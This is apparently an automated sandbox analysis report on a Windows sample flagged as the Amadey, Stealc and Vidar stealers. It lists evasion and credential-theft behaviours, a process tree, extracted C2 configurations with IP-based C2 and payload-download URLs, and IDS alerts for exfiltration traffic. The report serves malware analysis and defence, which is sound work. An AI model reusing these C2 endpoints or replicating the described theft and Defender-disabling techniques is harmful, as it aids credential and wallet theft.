Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1554142
MD5:	2878cc9a985c0fb2e09a37a43f3d99ae
SHA1:	41fe91f926c0f82e16454d9871c72776bfc5f104
SHA256:	67fadf8ac3d2ead9432d3872c87715b12dbe6974bf28a20622a9e75c555dfa61
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Modifies windows update settings

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 4276 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 2878CC9A985C0FB2E09A37A43F3D99AE)

chrome.exe (PID: 5328 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7224 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2480,i,12669535664876434942,9463197344397114714,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7852 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 3148 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2112,i,15661409552434283723,8671285796704867672,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 2468 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCFBFBAEBK.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsHCFBFBAEBK.exe (PID: 4708 cmdline: "C:\Users\user\DocumentsHCFBFBAEBK.exe" MD5: 4EBDDC2F0F80354C7D3FF3D8AB59F97D)

skotes.exe (PID: 8596 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 4EBDDC2F0F80354C7D3FF3D8AB59F97D)

msedge.exe (PID: 3580 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7728 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2768 --field-trial-handle=2248,i,16075850456477314035,13090639209018372966,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8976 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6760 --field-trial-handle=2248,i,16075850456477314035,13090639209018372966,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8996 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7196 --field-trial-handle=2248,i,16075850456477314035,13090639209018372966,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8936 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7324 --field-trial-handle=2248,i,16075850456477314035,13090639209018372966,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8168 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 4EBDDC2F0F80354C7D3FF3D8AB59F97D)

6fc7e371fe.exe (PID: 7988 cmdline: "C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe" MD5: 2878CC9A985C0FB2E09A37A43F3D99AE)

skotes.exe (PID: 8256 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 4EBDDC2F0F80354C7D3FF3D8AB59F97D)

a0969106aa.exe (PID: 9012 cmdline: "C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe" MD5: B9E7F5643E8ED276A27F154C12F9D029)

6fc7e371fe.exe (PID: 9188 cmdline: "C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe" MD5: 2878CC9A985C0FB2E09A37A43F3D99AE)

6fc7e371fe.exe (PID: 2408 cmdline: "C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe" MD5: 2878CC9A985C0FB2E09A37A43F3D99AE)

a0969106aa.exe (PID: 4396 cmdline: "C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe" MD5: B9E7F5643E8ED276A27F154C12F9D029)

a0969106aa.exe (PID: 6656 cmdline: "C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe" MD5: B9E7F5643E8ED276A27F154C12F9D029)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001D.00000003.3027537351.00000000052F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000002.2646374094.0000000000161000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000002.2992599240.000000000167B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2047136566.0000000004A00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2546281725.00000000005AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000002.3287170975.0000000000161000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000002.2990514987.0000000000C81000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000003.2947123671.0000000005430000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000002.2849080030.0000000000A7D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000002.3071062804.00000000016DB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2547238777.0000000000D31000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000003.2800396250.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000002.2626788836.0000000000841000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000002.2849516571.0000000000C81000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000002.3069907329.0000000000C81000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 4276	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 4276	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 4276	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4276	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 6fc7e371fe.exe PID: 7988	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 6fc7e371fe.exe PID: 7988	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 6fc7e371fe.exe PID: 9188	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 6fc7e371fe.exe PID: 9188	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 6fc7e371fe.exe PID: 2408	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 6fc7e371fe.exe PID: 2408	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 20 entries

Unpacked PEs

Source	Rule	Description	Author
22.2.skotes.exe.160000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.DocumentsHCFBFBAEBK.exe.840000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.skotes.exe.160000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8168, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\6fc7e371fe.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 4276, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 5328, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8168, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\6fc7e371fe.exe

Suricata Signatures

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T06:24:17.344509+0100	2044696	1	A Network Trojan was detected	192.168.2.5	54783	185.215.113.43	80	TCP
2024-11-12T06:24:21.608056+0100	2044696	1	A Network Trojan was detected	192.168.2.5	54787	185.215.113.43	80	TCP
2024-11-12T06:24:31.902016+0100	2044696	1	A Network Trojan was detected	192.168.2.5	54793	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T06:23:04.480142+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T06:23:04.473580+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T06:23:04.752841+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T06:23:06.162725+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T06:23:04.759752+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T06:23:04.194215+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-12T06:24:19.694440+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	54786	185.215.113.206	80	TCP
2024-11-12T06:24:33.546054+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	54794	185.215.113.206	80	TCP
2024-11-12T06:24:42.259316+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	54801	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T06:24:06.007009+0100	2856147	1	A Network Trojan was detected	192.168.2.5	54752	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T06:24:16.429231+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	54766	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T06:24:09.360187+0100	2803305	3	Unknown Traffic	192.168.2.5	54772	185.215.113.16	80	TCP
2024-11-12T06:24:22.550400+0100	2803305	3	Unknown Traffic	192.168.2.5	54788	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T06:23:07.236238+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-12T06:23:29.069254+0100	2803304	3	Unknown Traffic	192.168.2.5	49779	185.215.113.206	80	TCP
2024-11-12T06:23:32.351592+0100	2803304	3	Unknown Traffic	192.168.2.5	49779	185.215.113.206	80	TCP
2024-11-12T06:23:34.119332+0100	2803304	3	Unknown Traffic	192.168.2.5	49779	185.215.113.206	80	TCP
2024-11-12T06:23:35.247042+0100	2803304	3	Unknown Traffic	192.168.2.5	49779	185.215.113.206	80	TCP
2024-11-12T06:23:37.721112+0100	2803304	3	Unknown Traffic	192.168.2.5	49779	185.215.113.206	80	TCP
2024-11-12T06:23:38.265775+0100	2803304	3	Unknown Traffic	192.168.2.5	49779	185.215.113.206	80	TCP
2024-11-12T06:23:42.993084+0100	2803304	3	Unknown Traffic	192.168.2.5	54620	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllE8	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/ViewSizePreferences.SourceAumid1	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dllK8	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpvh	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/ockedCacheCounterMutex	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exe1395d7f	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/off/random.exe0	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.phpY	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/l	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php003	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpb	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/mine/random.exe78	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.php/s	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpq	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpx	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpncodedh	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpbh	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php7001	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exeW	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/Zu7JuNko/index.php.	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/urrentVersion	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpp#Xl	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/$	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpcoded;	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php.h	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000016.00000002.2646374094.0000000000161000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.4276.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 51%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C656C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C656C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7AA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C7AA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7A4440 PK11_PrivDecrypt,	0_2_6C7A4440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C774420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C774420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7A44C0 PK11_PubEncrypt,	0_2_6C7A44C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7F25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C7F25B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C788670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C788670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7AA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C7AA650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C78E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C7CA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C7D0180

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:54650 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49731 version: TLS 1.2
